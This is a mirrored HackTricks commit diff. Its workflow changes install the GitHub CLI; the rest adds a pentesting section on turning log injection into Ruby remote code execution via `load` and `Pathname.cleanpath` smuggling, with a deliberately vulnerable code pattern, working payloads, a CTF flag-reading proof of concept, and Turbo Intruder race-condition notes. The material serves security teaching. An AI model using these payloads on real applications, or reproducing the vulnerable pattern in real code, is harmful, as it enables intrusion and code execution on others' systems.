mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
f
This commit is contained in:
parent
a96eb96d2e
commit
1dfdae29f3
@ -26,6 +26,14 @@ jobs:
|
|||||||
git config --global user.email "action@github.com"
|
git config --global user.email "action@github.com"
|
||||||
git config --global user.name "GitHub Action"
|
git config --global user.name "GitHub Action"
|
||||||
|
|
||||||
|
- name: Install GitHub CLI
|
||||||
|
run: |
|
||||||
|
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||||
|
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||||
|
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||||
|
&& sudo apt update \
|
||||||
|
&& sudo apt install gh -y
|
||||||
|
|
||||||
- name: Check for running workflows
|
- name: Check for running workflows
|
||||||
id: check_workflows
|
id: check_workflows
|
||||||
run: |
|
run: |
|
||||||
|
7
.github/workflows/build_master.yml
vendored
7
.github/workflows/build_master.yml
vendored
@ -37,8 +37,11 @@ jobs:
|
|||||||
|
|
||||||
- name: Install GitHub CLI
|
- name: Install GitHub CLI
|
||||||
run: |
|
run: |
|
||||||
sudo apt-get update
|
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||||
sudo apt-get install -y gh
|
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||||
|
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||||
|
&& sudo apt update \
|
||||||
|
&& sudo apt install gh -y
|
||||||
|
|
||||||
- name: Publish search index release asset
|
- name: Publish search index release asset
|
||||||
shell: bash
|
shell: bash
|
||||||
|
8
.github/workflows/translate_all.yml
vendored
8
.github/workflows/translate_all.yml
vendored
@ -65,7 +65,13 @@ jobs:
|
|||||||
- name: Update and download scripts
|
- name: Update and download scripts
|
||||||
run: |
|
run: |
|
||||||
sudo apt-get update
|
sudo apt-get update
|
||||||
sudo apt-get install -y wget gh
|
# Install GitHub CLI properly
|
||||||
|
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||||
|
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||||
|
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||||
|
&& sudo apt update \
|
||||||
|
&& sudo apt install gh -y \
|
||||||
|
&& sudo apt-get install -y wget
|
||||||
mkdir scripts
|
mkdir scripts
|
||||||
cd scripts
|
cd scripts
|
||||||
wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
|
wget -O get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
|
||||||
|
@ -92,9 +92,87 @@ Notes:
|
|||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
|
|
||||||
|
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
|
||||||
|
|
||||||
|
When an app (often a simple Rack/Sinatra/Rails endpoint) both:
|
||||||
|
- logs a user-controlled string verbatim, and
|
||||||
|
- later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`),
|
||||||
|
|
||||||
|
You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives:
|
||||||
|
|
||||||
|
- Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
|
||||||
|
- `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).
|
||||||
|
|
||||||
|
### Minimal vulnerable pattern
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
require 'logger'
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
logger = Logger.new('logs/error.log')
|
||||||
|
param = CGI.unescape(params[:script])
|
||||||
|
path_obj = Pathname.new(param)
|
||||||
|
|
||||||
|
logger.info("Running backup script #{param}") # Raw log of user input
|
||||||
|
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
||||||
|
```
|
||||||
|
|
||||||
|
### Why the log can contain valid Ruby
|
||||||
|
`Logger` writes prefix lines like:
|
||||||
|
```
|
||||||
|
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
||||||
|
```
|
||||||
|
In Ruby, `#` starts a comment and `9/2/2025` is just arithmetic. To inject valid Ruby code you need to:
|
||||||
|
- Begin your payload on a new line so it is not commented out by the `#` in the INFO line; send a leading newline (`\n` or `%0A`).
|
||||||
|
- Close the dangling `[` introduced by the INFO line. A common trick is to start with `]` and optionally make the parser happy with `][0]=1`.
|
||||||
|
- Then place arbitrary Ruby (e.g., `system(...)`).
|
||||||
|
|
||||||
|
Example of what will end up in the log after one request with a crafted param:
|
||||||
|
```
|
||||||
|
I, [9/2/2025 #209384] INFO -- : Running backup script
|
||||||
|
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
|
||||||
|
### Smuggling a single string that both logs code and resolves to the log path
|
||||||
|
We want one attacker-controlled string that:
|
||||||
|
- when logged raw, contains our Ruby payload, and
|
||||||
|
- when passed through `Pathname.new(<input>).cleanpath`, resolves to `../logs/error.log` so the subsequent `load` executes the just-poisoned log file.
|
||||||
|
|
||||||
|
`Pathname#cleanpath` ignores schemes and collapses traversal components, so the following works:
|
||||||
|
```ruby
|
||||||
|
require 'pathname'
|
||||||
|
|
||||||
|
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
||||||
|
puts p.cleanpath # => ../logs/error.log
|
||||||
|
```
|
||||||
|
- The `#` before `://` ensures Ruby ignores the tail when the log is executed, while `cleanpath` still reduces the suffix to `../logs/error.log`.
|
||||||
|
- The leading newline breaks out of the INFO line; `]` closes the dangling bracket; `][0]=1` satisfies the parser.
|
||||||
|
|
||||||
|
### End-to-end exploitation
|
||||||
|
1. Send the following as the backup script name (URL-encode the first newline as `%0A` if needed):
|
||||||
|
```
|
||||||
|
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
2. The app logs your raw string into `logs/error.log`.
|
||||||
|
3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it.
|
||||||
|
4. Ruby executes the code you injected in the log.
|
||||||
|
|
||||||
|
To exfiltrate a file in a CTF-like environment:
|
||||||
|
```
|
||||||
|
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
||||||
|
```
|
||||||
|
URL-encoded PoC (first char is a newline):
|
||||||
|
```
|
||||||
|
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
||||||
|
```
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
- Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||||
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||||
|
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
||||||
|
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
||||||
|
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
||||||
|
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -223,6 +223,14 @@ while "objetivo" not in response.text:
|
|||||||
response = requests.get(url, verify=False)
|
response = requests.get(url, verify=False)
|
||||||
```
|
```
|
||||||
|
|
||||||
|
#### Turbo Intruder: engine and gating notes
|
||||||
|
|
||||||
|
- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
|
||||||
|
- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
|
||||||
|
- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
|
||||||
|
- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
|
||||||
|
|
||||||
|
|
||||||
### Improving Single Packet Attack
|
### Improving Single Packet Attack
|
||||||
|
|
||||||
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
|
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
|
||||||
|
Loading…
x
Reference in New Issue
Block a user